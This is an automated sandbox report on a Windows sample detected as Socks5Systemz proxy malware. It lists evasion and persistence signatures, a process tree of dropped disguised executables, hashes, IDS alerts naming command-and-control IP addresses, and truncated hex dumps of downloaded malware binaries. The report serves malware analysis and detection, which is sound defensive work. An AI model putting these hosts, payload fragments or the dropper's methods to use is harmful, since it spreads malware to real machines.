Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1573851
MD5:5a3f6aa1107d91bdc0430e2a0c1f4f26
SHA1:316139dd3edcd5af3a8afbd89e44ac10bb8e87e7
SHA256:f43ded143a77002b6aa1b860aecca5b94e00a601d1db104d04423e3b5e0261ca
Tags:exeuser-Bitsight
Infos:

Detection

Socks5Systemz
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Multi AV Scanner detection for dropped file
Yara detected Socks5Systemz
AI detected suspicious sample
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to infect the boot sector
Found API chain indicative of debugger detection
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query network adapater information
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

  • System is w10x64
  • svchost.exe (PID: 1312 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • SgrmBroker.exe (PID: 2932 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
  • svchost.exe (PID: 1308 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 6796 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 1880 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • MpCmdRun.exe (PID: 7652 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)
      • conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • file.exe (PID: 6784 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5A3F6AA1107D91BDC0430E2A0C1F4F26)
    • sQurASc1qLwRL.exe (PID: 7748 cmdline: "C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe" MD5: 23619F330C57AF62DE72DFFEBADBF07B)
      • sQurASc1qLwRL.tmp (PID: 7772 cmdline: "C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe" MD5: CC7B0A71A44CA4000DE2656C0486FD86)
        • schtasks.exe (PID: 7808 cmdline: "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124" MD5: 48C2FE20575769DE916F48EF0676A965)
          • conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • videominimizer2.exe (PID: 7852 cmdline: "C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i MD5: BDDC95BF37B6EB97D516948CEC1CB311)
    • xIphwNW7O.exe (PID: 7916 cmdline: "C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe" MD5: F328A95046E3A2514C36347EAEC911C0)
    • WerFault.exe (PID: 8064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • svchost.exe (PID: 7996 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 8040 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • svchost.exe (PID: 8160 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
    C:\ProgramData\EarnPackage\EarnPackage.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
      C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
        SourceRuleDescriptionAuthorStrings
        0000000F.00000000.1931743416.0000000000401000.00000020.00000001.01000000.0000000A.sdmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
          0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Socks5SystemzYara detected Socks5SystemzJoe Security
            0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Socks5SystemzYara detected Socks5SystemzJoe Security
              Process Memory Space: videominimizer2.exe PID: 7852JoeSecurity_Socks5SystemzYara detected Socks5SystemzJoe Security
                SourceRuleDescriptionAuthorStrings
                15.0.videominimizer2.exe.400000.0.unpackJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security

                  System Summary

                  barindex
                  Source: Process startedAuthor: vburov: Data: Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ProcessId: 1312, ProcessName: svchost.exe
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-12T16:49:05.832704+010020287653Unknown Traffic192.168.2.1149987188.119.66.185443TCP
                  2024-12-12T16:49:08.095208+010020287653Unknown Traffic192.168.2.1149990188.119.66.185443TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-12T16:49:06.512880+010028032742Potentially Bad Traffic192.168.2.1149987188.119.66.185443TCP
                  2024-12-12T16:49:08.823229+010028032742Potentially Bad Traffic192.168.2.1149990188.119.66.185443TCP

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Source: file.exeAvira: detected
                  Source: https://login.live.Avira URL Cloud: Label: malware
                  Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].fileAvira: detection malicious, Label: PUA/Agent.EI
                  Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]ReversingLabs: Detection: 75%
                  Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].fileReversingLabs: Detection: 54%
                  Source: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exeReversingLabs: Detection: 75%
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeReversingLabs: Detection: 54%
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                  Source: C:\ProgramData\EarnPackage\EarnPackage.exeJoe Sandbox ML: detected
                  Source: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exeJoe Sandbox ML: detected
                  Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]Joe Sandbox ML: detected
                  Source: file.exeJoe Sandbox ML: detected
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045CFD8 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,12_2_0045CFD8
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045D08C ArcFourCrypt,12_2_0045D08C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045D0A4 ArcFourCrypt,12_2_0045D0A4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_10001000 ISCryptGetVersion,12_2_10001000
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_10001130 ArcFourCrypt,12_2_10001130

                  Compliance

                  barindex
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeUnpacked PE file: 15.2.videominimizer2.exe.400000.0.unpack
                  Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Video Minimizer_is1Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                  Source: unknownHTTPS traffic detected: 188.119.66.185:443 -> 192.168.2.11:49987 version: TLS 1.2
                  Source: Binary string: msvcp71.pdbx# source: is-2UQRT.tmp.12.dr
                  Source: Binary string: msvcr71.pdb< source: is-P1KGP.tmp.12.dr
                  Source: Binary string: msvcp71.pdb source: is-2UQRT.tmp.12.dr
                  Source: Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-OQPMB.tmp.12.dr
                  Source: Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: xIphwNW7O.exe, 00000010.00000000.1948278515.0000000000F02000.00000002.00000001.01000000.0000000D.sdmp, PAB1[1].file.5.dr, xIphwNW7O.exe.5.dr
                  Source: Binary string: msvcr71.pdb source: is-P1KGP.tmp.12.dr
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00452A60 FindFirstFileA,GetLastError,12_2_00452A60
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00474DFC FindFirstFileA,FindNextFileA,FindClose,12_2_00474DFC
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004625C4 FindFirstFileA,FindNextFileA,FindClose,12_2_004625C4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00463B50 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,12_2_00463B50
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00497C14 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,12_2_00497C14
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00463FCC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,12_2_00463FCC
                  Source: global trafficTCP traffic: 192.168.2.11:49991 -> 31.214.157.206:2024
                  Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:01 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="ONE.file";Content-Length: 4250887Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:11 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="PAB1.file";Content-Length: 4608Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 06 00 00 00 20 00 00 00 08 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 05 00 00 00 40 00 00 00 06 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 48 00 00 00 02 00 05 00 5c 20 00 00 90 05 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 1e 02 28 0f 00 00 0a 2a 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 c0 01 00 00 23 7e 00 00 2c 02 00 00 48 02 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 74 04 00 00 04 00 00 00 23 55 53 00 78 04 00 00 10 00 00 00 23 47 55 49 44 00 00 00 88 04 00 00 08 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 47 15 00 00 09 00 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 01 00 00 00 0f 00 00 00 0e 00 00 00 01 00 00 00 01 00 00 00 00 00 78 01 01 00 00 00 00 00 06 00 ed 00 0c 02 06 00 5a 01 0c 02 06 00 21 00 da 01 0f 00 2c 02 00 00 06 00 49 00 b6 01 06 00 d0 00 b6 01 06 00 b1 00 b6 01 06 00 41 01 b6 01 06 00 0d 01 b6 01 06 00 26 01 b6 01 06 00 60 00 b6 01 06 00 35 00 ed 01 06 00 13 00 ed 01 06 00 94 00 b6 01 06 00 7b 00 88 01 06 00 40 02 aa 01 00 00 00 00 01 00 00 00 00 00 01 00 01 00 00 00 10 00 a2 01 c8 01 41 00 01 00 01 00 50 20 00 00
                  Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:22 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
                  Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 15:48:24 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 